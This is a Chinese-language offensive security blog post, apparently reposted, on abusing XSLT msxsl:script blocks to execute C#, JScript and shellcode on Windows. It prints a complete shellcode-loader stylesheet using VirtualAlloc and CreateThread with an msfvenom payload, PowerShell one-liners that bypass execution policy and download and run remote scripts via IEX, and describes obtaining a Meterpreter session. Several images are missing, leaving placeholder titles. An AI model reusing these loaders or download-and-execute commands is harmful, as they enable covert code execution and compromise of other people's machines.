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Hack With XSLT

华盟学院山东省第二期线下学习计划

0x00 简介


XSLT全称为拓展样式表转换语言,是一种用于将 XML 文档转换为 XHTML 文档或其他 XML 文档的语言。更多关于XSLT的教程可以参考W3school。关于XSLT的hack技巧之前已经有老师总结了WebShell系列(一)---XML,里面详细介绍了怎么通过xslt构造webshell,并且可以看的出,通过XSLT可以执行很多类型的脚本,前段时间@Casey Smith公开了一个Execute C# From XSLT 的POC,感觉很有趣,所以简单的研究了一下,也就有了此文。


0x01 POC


Casey Smith分享的poc如下:

calc.xslt


Hack With XSLT

其中xsl:stylesheet用来定义样式表的根元素;version是其必须的属性,用来规定样式表的XSLT 版本;xmlns:xsl名称空间,值固定;要使用msxsl:script元素,由于其属于命名空间urn:schemas-microsoft-com:xslt,所以样式表必须包含命名空间声明;xmlns:my定义命名空间,名字随意,需要注意的是下面的implements-prefix的值要与其一致。


msxsl:script定义如下:


<msxsl:script language = "language-name" implements-prefix =

"prefix of user namespace"> </msxsl:script>


其中 msxsl 是绑定到命名空间 urn:schemas-microsoft-com:xslt 的前缀。language 属性不是强制属性,但如果指定该属性,其值必须是下列值之一:C#、VB、JScript、JavaScript、VisualBasic 或 CSharp。 如果未指定,则默认语言为 JScript。


implements-prefix属性是必选项。 此属性用于声明命名空间并将其与脚本块关联。


xsl:template元素包含了当匹配指定节点时要应用的规则,match 属性用于把模板关联到某个 XML 元素,在这里关联了example.xml,如下:

Hack With XSLT

xsl:value-of 元素用于提取某个选定节点的值。在这里也就是执行我们的函数。


执行其POC,可以成功执行C#代码。


Hack With XSLT

0x02 优化


为了更方便使用,将powershell代码修改成可远程加载的代码,地址为:xslt_exec.ps1 使用此脚本可加载远程及本地XSL文件并执行其中的代码。使用方式很简单,以下为DEMO:


Hack With XSLT


如果想远程加载执行可以这样:


powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/calc.xslt"

Hack With XSLT

0x03 Exec Shellcode


既然能执行C#,那怎么执行ShellCode呢,其实很简单,参考Casey Smith给出的代码,修改代码如下:shellcode.xslt


<xsl:stylesheet version="2.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:msxsl="urn:schemas-microsoft-com:xslt"
                xmlns:shellcode="urn:MyModule">
 
  <msxsl:script implements-prefix="shellcode" language="C#">
  <msxsl:using namespace="System.Runtime.InteropServices" /> 
<![CDATA[
     private static UInt32 MEM_COMMIT = 0x1000;         
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;         
     [DllImport("kernel32")]

     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32

flAllocationType, UInt32 flProtect);         

     [DllImport("kernel32")]
     private static extern IntPtr CreateThread(           
        UInt32 lpThreadAttributes,
        UInt32 dwStackSize,
        UInt32 lpStartAddress,
        IntPtr param,
        UInt32 dwCreationFlags,
        ref UInt32 lpThreadId          
     );
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(          
        IntPtr hHandle,
        UInt32 dwMilliseconds
     );    
 
       public void Exec()
     {     
             #msfvenom --payload  windows/x64/exec CMD="calc" EXITFUNC=thread -f csharp
           byte[] shellcode = new new byte[272] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00 };
               

           UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT,

PAGE_EXECUTE_READWRITE);

           Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
           IntPtr hThread = IntPtr.Zero;
           UInt32 threadId = 0;
           IntPtr pinfo = IntPtr.Zero;
           hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
           WaitForSingleObject(hThread, 0xFFFFFFFF);           
    }
]]>
  </msxsl:script>
 
  <xsl:template match="data">
    <result>
      <xsl:value-of select="shellcode:Exec()" />
    </result>
  </xsl:template>

</xsl:stylesheet>



shellcode可以通过msf来生成,具体生成方法在代码里已经给出,测试如下:


Hack With XSLT


0x04 Exec JScript


既然xslt可以执行多种脚本,当然也包括JScript,代码如下:


Hack With XSLT

远程加载如下:


powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString

('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1');

xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/js

_calc.xslt"


之前Casey Smith分享过一个JS Dropper戳我。里面多了一个调用certuil.exe对文件进行base64加解密,这里当然也可以实现,具体代码就不贴了,地址在这。


0x05 Get Meterpreter


说了这么多,有人可能会问怎么才能获得meterpreter,其实很简单,实现代码在这。首先msf开启监听:


Hack With XSLT

然后修改meter.xslt,之后用ps来加载就可以了。

Hack With XSLT

0x06 Other


当然,除了powershell可以调用xslt,其他语言也可以,这里分享一个C#的,代码如下:


Hack With XSLT


其他语言的,如果需要,还希望小伙伴们自己动手写写。

0x07 小结

www.idc126.com


以上仅作为一个技术分享,代码均已在github分享,地址xslt_poc,希望对你有所启发。


文章出处:Evi1cg's blog

文章链接:https://evi1cg.me/archives/Hack_With_XSLT.html

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